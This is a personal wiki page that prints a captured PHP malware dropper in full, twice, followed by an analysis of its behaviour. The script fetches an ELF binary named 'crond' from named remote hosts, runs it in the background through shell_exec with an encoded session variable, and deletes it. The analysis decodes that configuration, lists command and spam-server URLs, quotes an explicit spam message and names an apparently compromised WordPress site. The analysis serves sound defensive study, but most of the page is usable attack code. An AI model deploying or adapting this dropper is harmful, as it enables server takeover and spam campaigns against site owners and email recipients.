PHP Shell Exploit
From Leo's Notes
This page was last edited on 6 May 2015, at 03:53.
<?php
$key="1)#'ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK>a;q0HD.&QRz~@,TM-l(5JSitk/]2bu=d\"I<BEXfv*+";
$crondElf32 ='http://pages.touchpadz.com/crond32';
$crondElf64 ='http://pages.touchpadz.com/crond64';
$xdvsnExploitEnv = 'XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8';
$systemType = php_uname('s');
$xpsvt57 = php_uname('m');
echo '<shchzzz>';
for (;;) {
if (!function_exists('shell_exec')) {
echo '<err step=1 err=noshex data=>';
break;
}
if ($systemType !== 'Linux') {
echo '<err step=2 err=nolinux data='.$hafev1.'>';
break;
}
$targetFilename = 'crond';
$exploitUrl = "";
if (strlen(decbin(~0)) == 64) {
echo '<inf step=3 data=x64>';
$exploitUrl = $crondElf64;
} else {
echo '<inf step=3 data=x32>';
$exploitUrl = $crondElf32;
}
$exploitFilename = "";
if (!file_exists($targetFilename)) {
$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);
if ( $exploitFilename == FALSE) {
echo '<err step=4 err=downl data=>';
break;
} else {
echo '<inf step=4 data=downok>';
}
} else {
echo '<inf step=4 data=exists>';
}
chmod($exploitFilename, 0755);
$exploitCmd = $xdvsnExploitEnv.' ./'.$exploitFilename.' >/dev/null 2>/dev/null &';
$exploitResult = shell_exec($exploitCmd);
echo '<inf step=5 data=done data2='.$exploitResult.'>';
sleep(1);
unlink($exploitFilename);
break;
}
echo '</shchzzz>';
exit();
function getPasteFileContents($key, $url) {
$hackFileContents = "";
$fp = @fopen($url, 'rb');
if ($fp == FALSE) {
if (!function_exists('curl_init'))
return FALSE;
$curl = @curl_init();
@curl_setopt($curl, CURLOPT_URL, $url);
@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$hackFileContents = @curl_exec($curl);
@curl_close($curl);
} else {
while(!feof($fp))
$hackFileContents.= fread($fp, 1024 * 64);
fclose($fp);
}
return $hackFileContents;
}
function saveContentsToFile($key, $hackFilename, $hackFileContents) {
$fp = fopen($hackFilename, 'wb+');
if ($fp == FALSE) {
if (!function_exists('file_put_contents')) return FALSE;
if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;
} else {
$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));
fclose($fp);
if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;
}
return TRUE;
}
function saveUrlToFile($key, $url, $exploitFilename) {
$hackFileContents = getPasteFileContents($key, $url);
if ($hackFileContents == FALSE) return FALSE;
if (saveContentsToFile($key, .'/'.$exploitFilename, $hackFileContents) == FALSE) {
if (saveContentsToFile($key, '/tmp/'.$exploitFilename, $hackFileContents) == FALSE) {
return FALSE;
} else {
return '/tmp/'.$exploitFilename;
}
} else {
return .'/'.$exploitFilename;
}
return FALSE;
}
<?php
$key="1)#'ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK>a;q0HD.&QRz~@,TM-l(5JSitk/]2bu=d\"I<BEXfv*+";
$crondElf32 ='http://pages.touchpadz.com/crond32';
$crondElf64 ='http://pages.touchpadz.com/crond64';
$xdvsnExploitEnv = 'XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8';
$systemType = php_uname('s');
$xpsvt57 = php_uname('m');
echo '<shchzzz>';
for (;;) {
if (!function_exists('shell_exec')) {
echo '<err step=1 err=noshex data=>';
break;
}
if ($systemType !== 'Linux') {
echo '<err step=2 err=nolinux data='.$hafev1.'>';
break;
}
$targetFilename = 'crond';
$exploitUrl = "";
if (strlen(decbin(~0)) == 64) {
echo '<inf step=3 data=x64>';
$exploitUrl = $crondElf64;
} else {
echo '<inf step=3 data=x32>';
$exploitUrl = $crondElf32;
}
$exploitFilename = "";
if (!file_exists($targetFilename)) {
$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);
if ( $exploitFilename == FALSE) {
echo '<err step=4 err=downl data=>';
break;
} else {
echo '<inf step=4 data=downok>';
}
} else {
echo '<inf step=4 data=exists>';
}
chmod($exploitFilename, 0755);
$exploitCmd = $xdvsnExploitEnv.' ./'.$exploitFilename.' >/dev/null 2>/dev/null &';
$exploitResult = shell_exec($exploitCmd);
echo '<inf step=5 data=done data2='.$exploitResult.'>';
sleep(1);
unlink($exploitFilename);
break;
}
echo '</shchzzz>';
exit();
function getPasteFileContents($key, $url) {
$hackFileContents = "";
$fp = @fopen($url, 'rb');
if ($fp == FALSE) {
if (!function_exists('curl_init'))
return FALSE;
$curl = @curl_init();
@curl_setopt($curl, CURLOPT_URL, $url);
@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$hackFileContents = @curl_exec($curl);
@curl_close($curl);
} else {
while(!feof($fp))
$hackFileContents.= fread($fp, 1024 * 64);
fclose($fp);
}
return $hackFileContents;
}
function saveContentsToFile($key, $hackFilename, $hackFileContents) {
$fp = fopen($hackFilename, 'wb+');
if ($fp == FALSE) {
if (!function_exists('file_put_contents')) return FALSE;
if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;
} else {
$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));
fclose($fp);
if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;
}
return TRUE;
}
function saveUrlToFile($key, $url, $exploitFilename) {
$hackFileContents = getPasteFileContents($key, $url);
if ($hackFileContents == FALSE) return FALSE;
if (saveContentsToFile($key, .'/'.$exploitFilename, $hackFileContents) == FALSE) {
if (saveContentsToFile($key, '/tmp/'.$exploitFilename, $hackFileContents) == FALSE) {
return FALSE;
} else {
return '/tmp/'.$exploitFilename;
}
} else {
return .'/'.$exploitFilename;
}
return FALSE;
}
The attacker will see the following outputs:
<shchzzz>
<inf step=3 data=x64>
<inf step=4 data=downok>
<inf step=5 data=done data2=XXX>
</shchzzz>
where XXX is the return code of the shell exec which attempts to run:
XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8 ./tmp/crond >/dev/null 2>/dev/null &
The XDVSN_SESSION_COOKIE environment variable contains data encoded with their base64+xor function that contains the server and session IDs to use when communicating with the server. If this environment variable is missing, the program will terminate immediately.
The decoded value of the environment variable:
<ps>10</ps><urh></urh><urp></urp><lt>500</lt><lc>100</lc><bs>20</bs><lu>http://sk.touchpadz.com/</lu><bu>http://bat.touchpadz.com/aa2.php</bu><su>http://stat.touchpadz.com/gj13.php</su><ldb>wb_001</ldb><kk>38b104796d9d02a8,5f19dd761b1ae067,182d9be35a58b5e,761257c7ae43552,1c691b2c387735ec,1a75779015fcde28,c5d6105468cd740,488810955cf90d0c,62c800293882f80f,1e6bff6b444e1b0d,63d257290658b998,2b00ef0f4a4f197d,f12c54e1957cd43,5365385a1a570922,4818e6565aba7eba,9d655855688d574,317620b4425d6470,16d58c031dde7a1,5f925640005cf66b,57362ca225acae0f,6bd7afc11d5420dd,7e39dddb0914d741,374032b557c1670f,5a5578712156b2b2,42ee16dd1d1f6b25,79b39ab87e732619,39cab5d02b66c9fa,695693fe330e805f,7d0e38ce30b3de2c,70bf755429b05946,78b559b14a13f306,63b8768e636fd96d,442bf7c122970484,68a9c97f62ec282d,7e4216bd24e354b3,48ce08564e85ad17,2a272aed717384df,5718c84f1c0728db,1a0b91e36d971d16,5bf70935377de764,2ae2b45809ae550d,14520f18175d3cba,6a3e24f715ed4c45,e2a92e80d130642,5c001f680c0e55ae,11b5a572ac847f8,42ed425f66a0cef2,4772e82748e7bebc,669b8fae6ef65ec8,70c9170722074810,c0c658a01de8eda,3a74ccd14a330cf8,5d98d57c5ce8318b,100d0dfa4910e1f7,736386400b035095,69fad7f5d37b1e4,73806131716d54da,40de30093b2401ca,38f1d4c10cc729c2,6786c7c141a4c6a6,28ee1f9b295d4fc1,2d1f5ec46686eea6,249e4a86142ef7d8,1791d1e8666c2414,45b5133a7301aa3c</kk>
There are three URLs that the program will fetch data from.
- lu: http://sk.touchpadz.com/ + /img/logo.gif?sessd=$ldb&sessc=$lc&sessk=$kk
- bu: http://bat.touchpadz.com/aa2.php
- su: http://stat.touchpadz.com/gj13.php
The lu URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses.
The bu URL will return the spam message payload, encoded with the base64+xor encoder.
<USER>lula_burton</USER>
<NAME>"Lula Burton"</NAME>
<SUBJ>Fw: Hairy pussy girl undress panties</SUBJ>
<SBODY>
<div>
<p><a href="http://www.appgott.com/wp-content/plugins/better-wp-security/modules/free/backup/js/help.php?%MAIL_EN%">Hairy pussy girl undress panties</a></p>
combat, why none of us would be here. Thanks guys. Mission complete
</div>
</SBODY>
The su URL will return the exploit URL that contains the PHP spammer.
http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php